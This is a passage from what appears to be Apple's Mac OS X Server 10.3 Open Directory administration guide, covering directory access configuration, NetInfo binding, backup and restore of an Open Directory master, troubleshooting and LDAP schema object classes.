Admins,IL2\Domain Admins). Editing User Accounts and Other Records in Active Directory You can use Workgroup Manager to make changes to user accounts, group accounts, computer accounts, and other records in an Active Directory domain. You can also use Workgroup manager to delete records in an Active Directory domain. For instructions, see the user management guide. To create user accounts, group accounts, computer accounts, and other records in an Active Directory domain, use the Microsoft Active Directory administration tools on a Windows server administration computer. Setting Up LDAP Access to Active Directory Domains Using Directory Access, you can set up an LDAPv3 configuration to access an Active Directory domain on a Windows server. An LDAPv3 configuration gives you full control over mapping of Mac OS X record types and attributes to Active Directory object classes, search bases, and attributes. Mapping of some important Mac OS X record types and attributes, such as the unique user ID (UID), requires extending the Active Directory schema. An LDAPv3 configuration does not include many features of the Active Directory plug- in listed in Directory Access. These include dynamic generation of unique user ID and primary group ID; creation of a local Mac OS X home directory; automatic mounting of the Windows home directory; cached authentication credentials; discovery of all domains in an Active Directory forest; and support for Active Directory replication and failover. See “Learning About the Active Directory Plug-in” on page 101 for more information. You can use Directory Access to create a configuration that specifies how Mac OS X accesses a particular LDAPv3 or LDAPv2 directory. LL2352.Book Page 106 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 107 To create an Active Directory server configuration: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 If the list of server configurations is hidden, click Show Options. 5 Click New and enter a name for the configuration. 6 Press Tab and enter the Active Directory server’s DNS name or IP address. 7 Click the pop-up menu next to the DNS name or IP address and choose Active Directory. 8 Enter the search base for the Active Directory domain, then click OK. 9 Select the SSL checkbox if you want Open Directory to use Secure Sockets Layer (SSL) for connections with the Active Directory server. The Active Directory mapping template for an LDAPv3 configuration maps some Mac OS X record types and attributes to object classes and attributes that are not part of a standard Active Directory schema. You can change the mappings defined by the template or extend the Active Directory schema. (Alternatively, you may be able to access your Active Directory domain via the Active Directory plug-in instead of LDAPv3.) If you want the computer to access the Active Directory domain for which you just created an LDAPv3 configuration, you must add the directory to a custom search policy in the Authentication or Contacts pane of Directory Access. You must also make sure LDAPv3 is enabled in the Services pane. For instructions, see “Enabling or Disabling LDAP Directory Services” on page 85 and “Defining Custom Search Policies” on page 89. Accessing an NIS Domain Using Directory Access, you create a configuration that specifies how Mac OS X accesses an NIS domain. To create a configuration for accessing an NIS domain: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select “BSD Flat File and NIS” in the list of services, then click Configure. 4 Enter the NIS domain name. Include the NIS server’s hostname or IP address if it is required for security or the server is not on the same subnet as the computer you’re configuring. LL2352.Book Page 107 Friday, August 22, 2003 3:12 PM 108 Chapter 7 Managing Directory Access 5 Optionally, enter the DNS name or the IP address of the server or servers where the NIS domain resides. If you don’t specify any servers, NIS uses a broadcast protocol to discover an NIS server on the subnet. 6 Create a custom search policy that includes the NIS domain. In a custom search policy, the NIS domain is listed as /BSD/domain, where domain is what you entered in step 4. For instructions, see “Defining Custom Search Policies” on page 89. Using BSD Configuration Files Historically, UNIX computers have stored administrative data in configuration files such as /etc/master.passwd, /etc/group, and /etc/hosts. Mac OS X is based on a BSD version of UNIX, but normally gets administrative data from directory domains for the reasons discussed at the beginning of this chapter. In Mac OS X version 10.2 and later (including Mac OS X Server version 10.2 and later), Open Directory can retrieve administrative data from BSD configuration files. This capability enables organizations that already have BSD configuration files to use copies of the existing files on Mac OS X computers. BSD configuration files can be used alone or in conjunction with other directory domains. To use BSD configuration files: 1 Set up each BSD configuration file with the data required by Mac OS X directory services. See “Setting Up Data in BSD Configuration Files” on page 109 for instructions. 2 Create a custom search policy that includes the BSD configuration files domain. In a custom search policy, the BSD configuration files domain is listed as /BSD/local. For instructions, see “Defining Custom Search Policies” on page 89. Mac OS X Server version 10.3 supports a fixed set of BSD configuration files. You can’t specify which configuration files to use, nor can you map their contents to Mac OS X record types and attributes. LL2352.Book Page 108 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 109 Setting Up Data in BSD Configuration Files If you want a Mac OS X computer to get administrative data from BSD configuration files, the data must exist in the files and must be in the format required by Mac OS X. You may need to add, modify, or reorganize data in the files. Workgroup Manager cannot make changes to data in BSD configuration files, so you must make the necessary modifications by using a text editor or other tools. For detailed specifications of the data required by Mac OS X directory services, see Appendix A, “Mac OS X Directory Data.” Accessing Legacy NetInfo Domains Shared directory domains that were created with Mac OS X Server versions earlier than 10.3 used the NetInfo protocol (and optionally the LDAPv3 protocol). NetInfo can still be used to access these legacy NetInfo domains. This means: • Any Mac OS X Server or other Mac OS X computer can access a shared NetInfo domain hosted by a server that has been upgraded to Mac OS X Server version 10.3. • Mac OS X Server version 10.3 and Mac OS X version 10.3 can access any existing shared NetInfo domain. Note: You cannot create a new shared NetInfo domain with Mac OS X Server version 10.3 except by using command-line utilities. If you use Server Assistant or Server Admin to set up Mac OS X Server version 10.3 to be an Open Directory master (that is, to host a shared LDAP directory), other computers can access this new shared directory only by using LDAP. For instructions on setting up a Mac OS X Server or other Mac OS X computer to access a shared NetInfo domain, see “About NetInfo Binding” and “Configuring NetInfo Binding,” following this topic. Expert system administrators can manage NetInfo domains as follows: • Create machine records for broadcast binding to an existing shared NetInfo domain. For instructions, see “Adding a Machine Record to a Parent NetInfo Domain” on page 111. • Configure a shared NetInfo domain to use a particular port number instead of a dynamically assigned port number. For instructions, see “Configuring Static Ports for Shared NetInfo Domains” on page 112. LL2352.Book Page 109 Friday, August 22, 2003 3:12 PM 110 Chapter 7 Managing Directory Access About NetInfo Binding When a Mac OS X computer starts up, it can bind its local directory domain to a shared NetInfo domain. The shared NetInfo domain can bind to another shared NetInfo domain. The binding process creates a hierarchy of NetInfo domains. A NetInfo hierarchy has a branched structure. Local domains at the bottom of the hierarchy bind to shared domains, which can in turn bind to other shared domains, and so on. Each domain binds to only one shared domain, but a shared domain can have any number of domains bind to it. A shared domain is called a parent domain, and each domain that binds to it is a child domain. At the top of the hierarchy is one shared domain that doesn’t bind to another domain; this is the root domain. A Mac OS X computer can bind to a shared NetInfo domain by using any combination of three protocols: static, broadcast, or DHCP. • With static binding, you specify the address and NetInfo tag of the shared NetInfo domain. This is most commonly used when the shared domain’s computer is not on the same IP subnet as the computer that needs to access it. • With DHCP binding, a DHCP server automatically supplies the address and NetInfo tag of the shared NetInfo domain. To use DHCP binding, the DHCP server must be configured to supply a NetInfo parent’s address and tag. • With broadcast binding, the computer locates a shared NetInfo domain by sending out an IP broadcast request. The computer hosting the shared domain responds with its address and tag. For broadcast binding, both computers must be on the same IP subnet or on a network that is configured for IP broadcast forwarding. The parent domain must have the NetInfo tag “network.” The parent domain must have a machine record for each computer that can bind to it with broadcast binding. If you configure a computer to use multiple binding protocols and a parent is not located with one protocol, another one is used. The protocols are used in this order: static, DHCP, broadcast. LL2352.Book Page 110 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 111 Configuring NetInfo Binding Using Directory Access, you can configure Mac OS X or Mac OS X Server to bind to a parent NetInfo domain by using the static, broadcast, or DHCP protocols in any combination. The computer attempts to bind to a parent NetInfo domain when the computer starts up. Note: If your network has no shared NetInfo domain, setting a computer to bind to a parent NetInfo domain will cause delays when the computer starts up. To bind a Mac OS X computer to a shared NetInfo domain: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select NetInfo in the list of services, then click Configure. 4 Select the binding protocols that you want the computer to use. For broadcast binding, select “Attempt to connect using Broadcast protocol.” For DHCP binding, select “Attempt to connect using DHCP protocol.” For static binding, select “Attempt to connect to a specific NetInfo server.” Then enter the IP address of the parent domain’s computer in the Server Address field and the parent domain’s NetInfo tag in the Server Tag field. 5 Click OK, then click Apply. 6 Restart the computer. Adding a Machine Record to a Parent NetInfo Domain Mac OS X computers can bind their directory domains to a parent NetInfo domain by using broadcast binding. The parent NetInfo domain must have a machine record for each Mac OS X computer that can bind to it with broadcast binding. You can create a machine record with the NetInfo Manager application. To add a machine record to a parent NetInfo domain: 1 Open NetInfo Manager on the computer where the parent domain resides, then open the domain. 2 Click the lock and authenticate using the name and password of an administrator for the directory domain. 3 Select the “machines” directory in the Directory Browser list. 4 Choose New Subdirectory from the Directory menu. 5 Double-click new_directory in the lower list and enter the DNS name of the child computer. 6 Choose New Property from the Directory menu. 7 In the lower list, change new_property to ip_address and change new_value to the IP address of the child computer. LL2352.Book Page 111 Friday, August 22, 2003 3:12 PM 112 Chapter 7 Managing Directory Access 8 Choose New Property from the Directory menu. 9 Change new_property to “serves” and then change new_value to the name and NetInfo tag of the child’s local domain, using a “/” to separate the name and the tag. For example, you would change new_value to marketing.demo/local for the local domain of the computer named marketing.demo. 10 Choose Save Changes from the Domain menu, then click Update This Copy. Configuring Static Ports for Shared NetInfo Domains By default, Mac OS X dynamically selects a port in the range 600 through 1023 when it accesses a shared NetInfo domain. You can configure a shared domain for NetInfo access over specific ports. Use the NetInfo Manager application to do this. To configure specific ports for NetInfo access to shared domains: 1 Open NetInfo Manager on the computer where the shared domain resides, then open the domain. 2 Click the lock and authenticate using the name and password of an administrator for the directory domain. 3 Select the “/” directory in the Directory Browser list. 4 To change the value of an existing port property, double-click the value in the Value(s) column and make the change. 5 To delete a port property, select it and choose Delete from the Edit menu. 6 To add a property, choose New Property from the Directory menu and proceed as follows. If you want to use one port for both TCP and UDP packets, double-click new_property and change it to “port.” Then change new_value to the port number you want to use. If you want separate TCP and UDP ports, double-click new_property and change it to tcp_port. Then change new_value to the TCP port number you want to use. Next double-click new_property and change it to udp_port. This time, change new_value to the UDP port number you want to use. LL2352.Book Page 112 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 113 Setting Up Directory Access on a Remote Server You can use the Directory Access application on your computer to set up and manage how a server with Mac OS X Server accesses directory services and discovers network services. Your computer must have version 10.2 or later of Mac OS X or Mac OS X Server, and the remote server must have Mac OS X Server version 10.2. To configure directory access on a remote server: 1 In Directory Access on your computer, choose Connect from the Server menu. 2 Enter the connection and authentication information for the server that you want to configure, then click Connect. Address: enter the DNS name or IP address of the server that you want to configure. User Name: enter the user name of an administrator on the server. Password: enter the password for the user name you entered. 3 Click the Services, Authentication, and Contacts tabs and change settings as needed. All the changes you make affect the remote server to which you connected in the foregoing steps. 4 When you finish configuring the remote server, choose Disconnect from the Server menu on your computer. LL2352.Book Page 113 Friday, August 22, 2003 3:12 PM LL2352.Book Page 114 Friday, August 22, 2003 3:12 PM 8 115 8 Maintenance and Problem Solving You can monitor Open Directory services, view and edit raw data from Open Directory domains, and back up Open Directory files. You can also solve some common Open Directory problems. For descriptions and instructions of Open Directory maintenance tasks, see: • “Monitoring Open Directory” (next) • “Directly Viewing and Editing Directory Data” on page 116 • “Backing Up Open Directory Files” on page 118 • “Restoring Open Directory Files” on page 120 For descriptions of some problems that may be related to Open Directory services, and for fixes for the problems, see: • “Solving Directory Access Problems” on page 121 • “Solving Authentication Problems” on page 122 Monitoring Open Directory You can view Open Directory status and logs, and you can inspect Open Directory authentication logs for suspicious activities. Viewing Open Directory Status and Logs You can use the Server Admin application to view status information and logs for Open Directory services. The following logs are available: • Directory services server log • Directory services error log • Lookup log • NetInfo log • LDAP log • Password service server log • Password service error log LL2352.Book Page 115 Friday, August 22, 2003 3:12 PM 116 Chapter 8 Maintenance and Problem Solving To see directory services status or logs: 1 Open Server Admin and select Open Directory for a server in the Computers & Services list. 2 Click Overview to see status information. 3 Click Logs and use the Show pop-up menu to choose the log you want to see. Monitoring Open Directory Authentication You can use the password service logs, visible using Server Admin, to monitor failed login attempts for suspicious activity. Open Directory logs all failed authentication attempts, including IP addresses that generate them. Periodically review the logs to determine whether there are a large number of failed trials for the same password ID, indicating that somebody might be generating login guesses. To see Open Directory authentication logs: 1 Open Server Admin and select Open Directory for a server in the Computers & Services list. 2 Click Logs and choose a password service log from the Show pop-up menu. Directly Viewing and Editing Directory Data You can view or edit raw directory data by using the Inspector in Workgroup Manager. The Inspector allows you to see directory data not otherwise visible in Workgroup Manager or any other application. Furthermore, the Inspector allows you to edit directory data that you cannot otherwise change in Workgroup Manager or other applications. For example, you can use the Inspector to change a user’s short name. Showing the Directory Inspector You can make the Inspector visible in Workgroup Manager by selecting an option in Workgroup Manager Preferences. Then you can use the Inspector to view or edit raw directory data. Important: Changing raw data in a directory can have unexpected and undesirable consequences. You could inadvertently incapacitate users or a computers, or you could unintentionally authorize users to access more resources. To make the Inspector visible: 1 Open Workgroup Manager and choose Workgroup Manager > Preferences. 2 Select “Show ‘All Records’ tab and inspector” and click OK. 3 Click the Users button, Group button, or Computers button (on the left), then click Inspector (on the right). LL2352.Book Page 116 Friday, August 22, 2003 3:12 PM Chapter 8 Maintenance and Problem Solving 117 You can also click the All Records button, which is next to the Computers button, and choose a record type from the pop-up menu at the top of the list. The pop-up menu lists all standard record types that exist in the directory domain. You can also choose Native from the pop-up menu and type the name of a native record type into the box that appears below the pop-up menu. The list displays all records, including predefined records, of the currently chosen record type. Hiding the Directory Inspector If the Inspector is visible in Workgroup Manager, you can hide it by changing an option in Workgroup Manager Preferences. To hide the Inspector: 1 Open Workgroup Manager and choose Workgroup Manager > Preferences. 2 Deselect “Show ‘All Records’ tab and inspector” and click OK. Changing a User’s Short Name You can use the Inspector in Workgroup Manager to change a user’s short name or short names, including a user’s first short name. Important: Changing a user’s first short name can have unexpected and undesirable consequences. Other services use each user’s first short name as a unique and persistent identifier. For example, changing a user’s first short name does not rename the user’s home directory. The user has the same home directory (even though its name doesn’t match the user’s new first short name) unless the user happens to access his or her home directory through a group membership. Changing a user’s first short name effectively revokes all group memberships, because each group’s membership is stored as a list of members’ first short names. To change the short name of a user account: 1 Open Workgroup Manager and make the Inspector visible if it is hidden. 2 Click the Accounts button, then click the Users button. 3 Open the directory domain that contains the user account whose short name you want to change, and authenticate as an administrator of the domain. To open a directory domain, click the small globe icon above the list of users and choose from the pop-up menu. 4 Select the account whose short name you want to change, then click Inspector (on the right). LL2352.Book Page 117 Friday, August 22, 2003 3:12 PM 118 Chapter 8 Maintenance and Problem Solving 5 Locate RecordName in the list of attributes, and if a triangle appears next to RecordName, click the triangle to see all RecordName values. The RecordName attribute stores the user’s short name or names. 6 Double-click the RecordName value that is the short name you want to change, then type another short name and press Return. You can also click a RecordName value, and then click Edit to change the value in an editing sheet. 7 Click Save. Backing Up Open Directory Files To back up an Open Directory master, you need to back up its shared LDAP directory domain, its configuration files, and its Open Directory Password Server database. You can back up the server’s local directory, which is a NetInfo domain, as well. You can do a hot backup of an Open Directory master. That is, you can back up an Open Directory master while it is in service. Although you can back up an Open Directory replica, there is no real need to do so. In fact, restoring a replica can be dangerous because it puts an outdated copy of the master on the network. Since a replica is a copy of the master, the master effectively backs up the replica. If a replica develops a problem, you can just change its role to standalone server. Then set up the server as though it were a brand new server, with a new host name, and set it up as a replica of the same master as before. Therefore, if you have a reliable backup of the master, you effectively have a backup of all replicas of the master. Important: Be sure to perform the backup procedure without much delay between steps. By minimizing delays between steps, you ensure that the backed up LDAP directory, configuration files, and password storage database are as in sync as possible. Important: Carefully safeguard the backup media that contains a copy of the Open Directory Password database. The backup contains passwords of all users who have an Open Directory password, both in the shared LDAP directory domain and in the local NetInfo directory domain. Your security precautions for the backup media should be just as stringent as for the Open Directory master server. To do a hot backup of an Open Directory master: 1 Open a Terminal session as root. 2 Type the following command and press Return. slapcat -l backup.ldif LL2352.Book Page 118 Friday, August 22, 2003 3:12 PM Chapter 8 Maintenance and Problem Solving 119 This use of slapcat saves the complete contents of the LDAP directory as a raw LDIF dump in a text file named backup.ldif. You can specify a different filename and a pathname. The file you specify contains all user records, group records, computer records, and so on. (The file does not contain passwords for user records whose password type is Open Directory. These passwords are not stored in the LDAP directory database. They are stored separately in the Open Directory Password Server database.) 3 Make a copy of the /etc/openldap folder. This folder contains files that determine the setup of the LDAP directory domain, including schema files. 4 If your LDAP server uses SSL, make a copy of the server certificate file, LDAP server’s private key file, and the certificate authority (CA) certificate file. 5 Type the following commands, pressing Return after each. mkdir -p backup folder pathname mkpassdb -backupdb backup folder pathname The Open Directory Password backup folder, located at backup folder pathname, will contain backup copies of all Open Directory Password Server files, including the database. Carefully safeguard the Open Directory Password Server backup folder! It contains the passwords of all users who have an Open Directory password, both in the shared LDAP directory domain and in the local NetInfo directory domain. Keep the backup media as secure as the Open Directory master server. 6 Optionally, make a copy of the Library/Preferences/DirectoryService folder. Files in this folder specify the server’s search policies and specify how the server accesses its LDAP directory. The folder may contain additional files that specify how the server access other directory domains. 7 Optionally, make a copy of the /etc/hostconfig file. 8 If you want to back up the local NetInfo directory domain, type the following command and press Return: nidump -r / . > local.dump This use of nidump saves the entire contents of the local NetInfo domain as a raw text file named local.dump. You can specify a different filename and a pathname. Note: If all user accounts have an Open Directory password and the Open Directory Password Server stops working, you can log in as root. The root user account in the local directory domain has a shadow password, which is not stored in the Open Directory Password Server database. LL2352.Book Page 119 Friday, August 22, 2003 3:12 PM 120 Chapter 8 Maintenance and Problem Solving Restoring Open Directory Files To restore an Open Directory master from backup files, you need to restore its shared LDAP directory domain, its configuration files, and its Open Directory Password Server database. You might want to restore the server’s local directory, which is a NetInfo domain, as well. To restore an Open Directory master from backup files: 1 If you have to recover from a catastrophic failure by reinstalling the Mac OS X Server software, set the directory usage to standalone server when Server Assistant takes you through the initial configuration of the server. If Mac OS X Server was reinstalled but the directory usage was initially configured to something other than standalone server in Server Assistant, open Server Admin, select Open Directory, click Settings, click General, and change Role to Standalone Server. 2 Open a Terminal session as root. 3 Restore the /etc/openldap folder from a backup copy. This folder contains files that determine the setup of the LDAP directory domain, including schema files. 4 Restore the /etc/hostconfig file from a backup copy. If you don’t have a backup copy of the /etc/hostconfig file, you can edit the existing file. The file needs to contain the following line: LDAPSERVER=-YES- If the restored LDAP server will use SSL, the /etc/hostconfig file must also contain the following line: LDAPSSL=-YES- 5 If the restored LDAP server will use SSL, restore a copy of the server certificate file, LDAP server’s private key file, and the certificate authority (CA) certificate file. Restore these files to their previous locations. The correct pathnames are specified in /etc/openldap/slapd_macosxserver.conf or /etc/openldap/slapd.conf. 6 Make sure the folder that will contain the LDAP database exists and is empty. This folder’s pathname, which by default is /var/db/openldap/openldap-data/, is specified in /etc/openldap/slapd_macosxserver.conf or /etc/openldap/slapd.conf. 7 Type the following command and press Return. slapadd -c -l backup.ldif This use of slapadd adds user records, group records, computer records, and so on to the LDAP directory from the raw LDIF text file named backup.dif. You can specify a different filename and a pathname. (Adding LDAP records from the LDIF text file does not restore passwords for user records whose password type is Open Directory. These passwords are not stored in the LDAP directory database. They are stored separately in the Open Directory Password Server database.) LL2352.Book Page 120 Friday, August 22, 2003 3:12 PM Chapter 8 Maintenance and Problem Solving 121 8 Type the following command and press Return. mkpassdb -mergedb backup folder pathname This use of mkpassdb adds all of the passwords from the Open Directory Password Server backup folder, located at backup folder pathname, into the server’s existing Open Directory Password Server database. (The server has an existing Open Directory Password Server for its local directory domain.) 9 Type the following command and press Return: /System/Library/StartupItems/LDAP/LDAP start This command starts the LDAP server. 10 If you want to restore the local NetInfo directory domain, type the following command and press Return: niload -r / . < local.dump This use of niload loads the entire contents of the local NetInfo domain from a raw text file named local.dump. 11 Restore the Library/Preferences/DirectoryService folder from a backup copy and restart the server, or use Directory Access to configure access to the restored LDAP directory and add it to a custom search policy. Files in the Library/Preferences/DirectoryService folder specify the server’s search policies and specify how the server accesses its LDAP directory. The folder may contain additional files that specify how the server access other directory domains. If you restore this folder from a backup copy, you need to restart the server so that Open Directory recognizes the restored search policies and server access configurations. If you don’t have a backup copy of this folder, use Directory Access to create an LDAPv3 configuration for the loopback IP address (127.0.0.1), and add this to a custom authentication search policy. For instructions, see “Configuring Access to an LDAP Directory” on page 92 and “Defining Custom Search Policies” on page 89. Solving Directory Access Problems Problems accessing directory services during startup can have several causes. A Delay Occurs During Startup If Mac OS X or Mac OS X Server experiences a startup delay while a message about NetInfo, LDAP, or directory services appears above the progress bar, the computer could be trying to access a NetInfo domain or LDAP directory that is not available on your network. • Use Directory Access to make sure the NetInfo and LDAP configurations are correct. • Use the Network pane of System Preferences to make sure the computer’s network location and other network settings are correct. • Inspect the physical network connection for faults. LL2352.Book Page 121 Friday, August 22, 2003 3:12 PM 122 Chapter 8 Maintenance and Problem Solving Solving Authentication Problems You can solve some common problems with authentication services. A User’s Password Can’t Be Modified Before you can modify the password of a user whose password is authenticated by Open Directory, you must be an administrator of the directory domain in which the user’s record resides. In addition, your user account must be configured for Open Directory authentication. A User Can’t Authenticate for VPN Service Users whose accounts are stored on a server with Mac OS X Server version 10.2 can’t authenticate for VPN service provided by Mac OS X Server version 10.3 or later. VPN service requires the MS-CHAPv2 authentication method, which isn’t supported in Mac OS X Server version 10.2. To enable the affected users to log in, you can move their user accounts to a server with Mac OS X Server version 10.3 or later. Alternatively, you can upgrade the older server to Mac OS X Server version 10.3 or later. A User’s Password Type Can’t Be Changed to Open Directory Before you can modify a user account to use Open Directory authentication, you must be an administrator of the directory domain in which the user’s record resides. In addition, your user account must be configured for Open Directory authentication. Kerberos Users Can’t Authenticate When a user or service that uses Kerberos experiences authentication failures, try these techniques: • Kerberos behavior is based on encrypted time stamps. If there’s more than a five- minute difference between the KDC, client, and service computers, authentication may fail. Make sure that the clocks for all computers are synchronized using a network time server. • If Kerberos is being used, make sure that Kerberos authentication is enabled for the service in question. • If a Kerberos server used for password validation is not available, reset the user’s password to use a server that is available. • Make sure that the server providing the Kerberized service has access to directory domains containing accounts for users who are authenticated using Kerberos. One way to do this is to use a shared directory domain on the KDC server that hosts user records that correspond to all the user principals. • Refer to the KDC log (kdc.log) for information that can help you solve problems. Incorrect setup information such as wrong configuration file names can be detected using the logs. • Make sure all your configuration files are complete and correct. For example, make sure the keytab file on your server has the principals of interest in it. LL2352.Book Page 122 Friday, August 22, 2003 3:12 PM Chapter 8 Maintenance and Problem Solving 123 Resetting an Administrator Password Using the Mac OS X Server installation disc, you can change the password of a user account that has administrator privileges, including the System Administrator (root or superuser) account. Important: Because a user with the installation disc can gain unrestricted access to your server, you should restrict physical access to the server hardware. To change the password of an administrator account: 1 Start up from the Mac OS X Server “Install Disc 1.” 2 When the Installer appears, choose Installer > Reset Password. 3 Select the hard disk volume that contains the administrator account whose password you want to reset. 4 Choose the administrator account from the pop-up menu, enter a new password, and click Save. System Administrator is the root user (superuser) account. Don’t confuse this account with a normal administrator account. Avoid changing the password of any predefined user account. For more information on predefined user accounts, see the user management guide. Note: This procedure changes the password of the administrator account stored in the server’s local directory domain. It does not change the password of an administrator account stored in the server’s shared directory domain, if the server has one. If you know the password of any administrator account that’s stored in the local domain, you can change the password of any other administrator account in the local directory domain by using Workgroup Manager instead of this procedure. For instructions, see the user management guide. LL2352.Book Page 123 Friday, August 22, 2003 3:12 PM LL2352.Book Page 124 Friday, August 22, 2003 3:12 PM 125 Appendix A A Mac OS X Directory Data Knowing the Open Directory LDAP schema and the record types and attributes in Mac OS X directory domains can help you map to other directory domains and import or export user and group accounts. For specifications of Open Directory extensions to LDAP schema, mappings of Open Directory attributes to LDAP and Active Directory attributes, and the standard attributes in various types of records, see: • “Open Directory Extensions to LDAP Schema” on page 126 • “Object Classes in Open Directory LDAP Schema” on page 126 • “Attributes in Open Directory LDAP Schema” on page 132 • “Mapping Standard Attributes to LDAP and Active Directory” on page 145 • “Mappings for Users” on page 145 • “Mappings for Groups” on page 149 • “Mappings for Mounts” on page 150 • “Mappings for Computers” on page 151 • “Mappings for ComputerLists” on page 153 • “Mappings for Config” on page 153 • “Mappings for People” on page 154 • “Mappings for PresetComputerLists” on page 156 • “Mappings for PresetGroups” on page 156 • “Mappings for PresetUsers” on page 157 • “Mappings for Printers” on page 159 • “Mappings for AutoServerSetup” on page 160 • “Mappings for Locations” on page 160 • “Standard Attributes in User Records” on page 161 • “User Data That Mac OS X Server Uses” on page 165 • “Standard Attributes in Group Records” on page 166 • “Standard Attributes in Computer Records” on page 168 • “Standard Attributes in Computer List Records” on page 169 • “Standard Attributes in Mount Records” on page 170 • “Standard Attributes in Config Records” on page 171 LL2352.Book Page 125 Friday, August 22, 2003 3:12 PM 126 Appendix A Mac OS X Directory Data Use these specifications for reference when you: • Map object classes and attributes of non-Apple LDAP directories or Active Directory domains to Open Directory record types and attributes, as described in Chapter 7, “Managing Directory Access.” • Import or export user or group accounts to an Open Directory domain, as described in the user management guide. Open Directory Extensions to LDAP Schema The schema for the Open Directory LDAP directories is based on the de facto standard attributes and object classes defined in the following Request for Comments documents of the Internet Engineering Task Force (RFCs of the IETF): • RFC 2307 “An Approach for Using LDAP as a Network Information Service” • RFC 2798 “Definition of the inetOrgPerson LDAP Object Class” These RFCs are available at the IETF website: www.ietf.org/rfc.html. The attributes and object classes defined in these RFCs form the basis of the Open Directory LDAP schema. The extended schema for Open Directory LDAP directories includes the attributes and object classes defined in this section. Note: Apple may extend the Open Directory LDAP schema in the future, for example, to support new versions of Mac OS X and Mac OS X Server. The latest schema is available in text files on a computer with Mac OS X Server installed. The schema files are in the /etc/openldap/schema/ directory. In particular, the apple.schema file contains the latest schema extensions for Open Directory LDAP directories. Object Classes in Open Directory LDAP Schema This section defines the Open Directory LDAP object classes that extend the standard LDAP schema. Container Structural Object Class Container is a structural object class which is used for the top level record containers such as cn=users, cn=groups, and cn=mounts. There is no Directory Services analog to this object class, but the container name is part of the search base for each record type. objectclass ( 1.2.840.113556.1.3.23 NAME 'container' SUP top STRUCTURAL MUST ( cn ) ) LL2352.Book Page 126 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 127 User Object Class The apple-user object class is an auxiliary class used to store Mac OS X specific attributes which are not part of inetOrgPerson or posixAccount. This object class is used with kDSStdRecordTypeUsers records. objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.1 NAME 'apple-user' SUP top AUXILIARY DESC 'apple user account' MAY ( apple-user-homeurl $ apple-user-class $ apple-user-homequota $ apple-user-mailattribute $ apple-user-printattribute $ apple-mcxflags $ apple-mcxsettings $ apple-user-adminlimits $ apple-user-picture $ apple-user-authenticationhint $ apple-user-homesoftquota $ apple-user-passwordpolicy $ apple-keyword $ apple-generateduid $ authAuthority $ acctFlags $ pwdLastSet $ logonTime $ logoffTime $ kickoffTime $ homeDrive $ scriptPath $ profilePath $ userWorkstations $ smbHome $ rid $ primaryGroupID ) ) Group Auxiliary Object Class The apple-group object class is an auxiliary class used to store Mac OS X specific attributes which are not part of posixGroup. This object class is used with kDSStdRecordTypeGroups records. objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.14 NAME 'apple-group' SUP top AUXILIARY DESC 'group account' MAY ( apple-group-homeurl $ apple-group-homeowner $ apple-mcxflags $ apple-mcxsettings $ apple-group-realname $ apple-user-picture $ apple-keyword $ apple-generateduid ) ) LL2352.Book Page 127 Friday, August 22, 2003 3:12 PM 128 Appendix A Mac OS X Directory Data Machine Auxiliary Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.3 NAME 'apple-machine' SUP top AUXILIARY MAY ( apple-machine-software $ apple-machine-hardware $ apple-machine-serves $ apple-machine-suffix ) ) Mount Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.8 NAME 'mount' SUP top STRUCTURAL MUST ( cn ) MAY ( mountDirectory $ mountType $ mountOption $ mountDumpFrequency $ mountPassNo ) ) Printer Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.9 NAME 'apple-printer' SUP top STRUCTURAL MUST ( cn ) MAY ( apple-printer-attributes $ apple-printer-lprhost $ apple-printer-lprqueue $ apple-printer-type $ apple-printer-note ) ) Computer Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.10 NAME 'apple-computer' DESC 'computer' SUP top STRUCTURAL MUST ( cn ) MAY ( apple-realname $ description $ LL2352.Book Page 128 Friday, August 22, 2003 3:12 PM Appendix A Mac OS X Directory Data 129 macAddress $ apple-computer-list-groups $ apple-mcxflags $ apple-mcxsettings $ apple-xmlplist $ authAuthority $ uidNumber $ gidNumber $ apple-generateduid $ acctFlags $ pwdLastSet $ logonTime $ logoffTime $ kickoffTime $ rid $ primaryGroupID ) ) ComputerList Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.11 NAME 'apple-computer-list' DESC 'computer list' SUP top STRUCTURAL MUST ( cn ) MAY ( apple-mcxflags $ apple-mcxsettings $ apple-computer-list-groups $ apple-computers $ apple-keyword ) ) Configuration Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.12 NAME 'apple-configuration' DESC 'configuration' SUP top STRUCTURAL MAY ( cn $ apple-config-realname $ apple-data-stamp $ apple-password-server-location $ apple-password-server-list $ apple-ldap-replica $ apple-ldap-writable-replica $ apple-keyword $ apple-kdc-authkey $ apple-kdc-configdata $ apple-xmlplist ) ) LL2352.Book Page 129 Friday, August 22, 2003 3:12 PM 130 Appendix A Mac OS X Directory Data Preset Computer List Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.13 NAME 'apple-preset-computer-list' DESC 'preset computer list' SUP top STRUCTURAL MUST ( cn ) MAY ( apple-mcxflags $ apple-mcxsettings $ apple-keyword ) ) Preset Group Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.3.14 NAME 'apple-preset-group' DESC 'preset group' SUP top STRUCTURAL MUST ( cn ) MAY ( memberUid $ gidNumber $ apple-group-homeurl $ apple-group-homeowner $ apple-mcxflags $ apple-mcxsettings $ apple-group-realname $ apple-keyword ) ) Preset User Object Class objectclass ( 1.3.6.1.4.1.63.1000.1.1.2.15 NAME 'apple-preset-user' DESC 'preset user' SUP top STRUCTURAL MUST ( cn ) MAY ( uid $ memberUid $ gidNumber $ homeDirectory $ apple-user-homeurl $ apple-user-homequota $ apple-user-homesoftquota $ apple-user-mailattribute $ apple-user-printattribute $ LL2352.Book Page 130 